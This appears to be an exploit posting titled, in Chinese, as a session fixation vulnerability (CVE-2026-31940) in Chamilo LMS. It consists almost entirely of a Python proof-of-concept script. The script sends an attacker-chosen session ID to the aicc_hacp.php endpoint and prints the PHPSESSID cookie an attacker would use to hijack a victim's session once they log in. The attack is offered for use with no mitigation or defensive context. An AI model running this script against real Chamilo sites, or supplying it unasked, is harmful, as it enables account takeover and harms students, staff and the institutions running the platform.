CVE-2026-31940 Chamilo LMS会话固定漏洞

import requests # Target URL # Replace with the actual target host target_url = "http://example.com/main/lp/aicc_hacp.php" # The attacker-controlled session ID malicious_session_id = "attacker_controlled_session_12345" # Construct the payload # The vulnerability allows setting the session ID via a request parameter params = { "session_id": malicious_session_id } try: # Send the request to fixate the session response = requests.get(target_url, params=params) if response.status_code == 200: print(f"[+] Session fixation request sent successfully.") print(f"[+] Malicious Session ID: {malicious_session_id}") print(f"[+] If the victim logs in now, the attacker can use this cookie to hijack the session.") print(f"[+] Cookie: PHPSESSID={malicious_session_id}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")